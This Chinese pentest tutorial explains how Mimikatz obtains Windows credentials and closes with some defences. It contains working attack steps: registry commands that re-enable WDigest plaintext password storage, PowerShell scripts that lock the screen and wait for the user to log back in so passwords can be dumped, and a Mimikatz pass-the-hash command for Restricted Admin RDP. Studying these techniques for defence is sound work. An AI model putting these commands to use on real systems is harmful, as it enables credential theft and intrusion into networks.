内网渗透 | 了解和防御Mimikatz抓取密码的原理

调试权限允许某人调试他们原本无权访问的进程。例如，以在其令牌上启用调试权限的用户身份运行的进程可以调试作为本地系统运行的服务。调试权限是一种安全策略设置，允许用户将调试器附加到进程或内核。管理员可以修改用户组的安全策略以包含或删除此功能。正在调试自己的应用程序的开发人员不需要此用户权限。调试系统组件或调试远程组件的开发人员将需要此用户权限。此用户权限提供对敏感和关键操作系统组件的完全访问权限。默认情况下，为具有管理员权限的用户启用此属性。具有管理员权限的用户可以为其他用户组启用此属性。

local policy（本地）－> site policy（站点）－>  domain policy（域）－> ou policy（组织单元）

WDigest即摘要身份验证，摘要身份验证是一种质询/响应协议，主要在 Windows Server 2003 中用于 LDAP 和基于 Web 的身份验证。它利用超文本传输协议 (HTTP) 和简单身份验证安全层 (SASL) 交换进行身份验证。在较高级别上，客户端请求访问某些内容，身份验证服务器向客户端提出质询，客户端通过使用从密码派生的密钥对其响应进行加密来响应质询。将加密的响应与身份验证服务器上存储的响应进行比较，以确定用户是否具有正确的密码。

Windows 安全审核应该是每个人的优先事项，了解您的端点的配置方式以及它们可能为恶意用户打开哪些门与保护任何环境都相关。这就是 WDigest 发挥作用的地方，与 WDigest 相关的事情是它以明文形式将密码存储在内存中。如果恶意用户可以访问端点并能够运行像 Mimikatz 这样的工具，他们不仅可以获得当前存储在内存中的哈希值，而且还可以获得帐户的明文密码。这显然是一个问题，因为现在他们不仅能够利用像pass-the-hash这样的攻击，而且他们现在还可以使用用户名和密码来尝试登录 Exchange、内部网站等。

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

修改注册表锁屏进入循环，判断当前系统是否结束锁屏状态用户登录后，跳出循环等待，立即导出明文口令并保存

#!bashSet-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

#!powershell$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"$Flag=$key.UseLogonCredentialwrite-host "[+]Checking Flag"while($Flag -eq 1){    write-host "[+]Flag Normal"    write-host "[+]Wait 10 Seconds..."    Start-Sleep -Seconds 10    $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"    $Flag=$key.UseLogonCredential    write-host "[+]Checking Flag"}write-host "[!]Flag Changed!"

powershell.exe -ExecutionPolicy Bypass -File test.ps1

rundll32.exe user32.dll,LockWorkStation

#!powershellFunction Lock-WorkStation {$signature = @"[DllImport("user32.dll", SetLastError = true)]public static extern bool LockWorkStation();"@$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru$LockWorkStation::LockWorkStation() | Out-Null}Lock-WorkStation

powershell.exe -ExecutionPolicy Bypass -File test2.ps1

#!powershellfunction local:Get-DelegateType {  Param (    [OutputType([Type])]  [Parameter( Position = 0)]  [Type[]]  $Parameters = (New-Object Type[](0)),    [Parameter( Position = 1 )]  [Type]  $ReturnType = [Void]  )    $Domain = [AppDomain]::CurrentDomain    $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)    $MethodBuilder.SetImplementationFlags('Runtime, Managed')    $TypeBuilder.CreateType()}function local:Get-ProcAddress {  Param (    [OutputType([IntPtr])]  [Parameter( Position = 0, Mandatory = $True )]  [String]  $Module,    [Parameter( Position = 1, Mandatory = $True )]  [String]  $Procedure    )    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }  $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))    $tmpPtr = New-Object IntPtr    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)    $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))}Start-Sleep -Seconds 10$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)$hWindow = $GetForegroundWindow.Invoke()write-host "[+]Checking Flag"while($hWindow -eq 0){  write-host "[+]LockScreen"  write-host "[+]Wait 10 Seconds..."  Start-Sleep -Seconds 10  $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow  $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])  $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)  $hWindow = $GetForegroundWindow.Invoke()  write-host "[+]Checking Flag"}write-host "[!]Got Screen!"

Credntial Caching即凭证缓存。HTTP Server API 仅在用于 NTLM 身份验证的 Keep-Alive (KA) 连接上缓存凭据。默认情况下，HTTP Server API 缓存在 KA 连接上发送的第一个请求中获得的凭据。客户端可以在没有授权头的情况下在 KA 连接上发送后续请求，并根据之前建立的上下文获取身份验证。在这种情况下，HTTP Server API 将基于缓存凭据的令牌发送到应用程序。代理发送的请求的凭据不会被缓存。应用程序通过在HTTP_SERVER_AUTHENTICATION_INFO 中设置DisableNTLMCredentialCaching标志来禁用 NTLM 凭据缓存在调用 HttpSetServerSessionProperty 或 HttpSetUrlGroupProperty 时提供的结构。当凭据缓存被禁用时，HTTP Server API 会丢弃缓存的凭据并为每个请求执行身份验证

HKEY_LOCAL_MACHINE\SECURITY\Cache

Restricted Admin Mode即受限管理员模式。最初为 Windows 8.1 和 Server 2012 R2 引入（win2008及之前的版本需要KB2871997、KB2973351补丁），受限管理模式是一项 Windows 功能，可防止将 RDP 用户的凭据存储在建立 RDP 连接的计算机的内存中。实际上，这将防止用户（通常是管理员）在 RDP 进入受感染主机后从内存中读取他们的凭据。为防止凭据存储在远程计算机上，受限管理员更改了远程桌面协议，使其使用网络登录而不是交互式登录进行身份验证。有了这种保护，建立 RDP 会话将不需要提供关联的密码；相反，用户的 NTLM Hash 或 Kerberos 票证将用于身份验证。客户端和服务器的受限管理员已向后 移植 到 Windows 7 和 Server 2008，但在大多数标准 Windows 版本上默认情况下仍处于禁用状态，这是由于围绕其使用的一些注意事项。

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

sekurlsa::pth /user:<username> /domain:<comptername or ip> /ntlm: <ntlm hash> "/run:mstsc.exe /restrictedadmin"

1、 支持“ProtectedUsers”组；2、 Restricted Admin RDP模式的远程桌面客户端支持；3、 注销后删除LSASS中的凭据；4、 添加两个新的SID；5、 LSASS中只允许wdigest存储明文密码。

本地帐户，LOCAL_ACCOUNT（S-1-5-113），所有本地帐户继承自此SID；本地帐户和管理组成员，LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP（S-1-5-114），所有管理员组的本地用户继承此SID。

拒绝从网络访问这台计算机拒绝通过远程桌面服务登录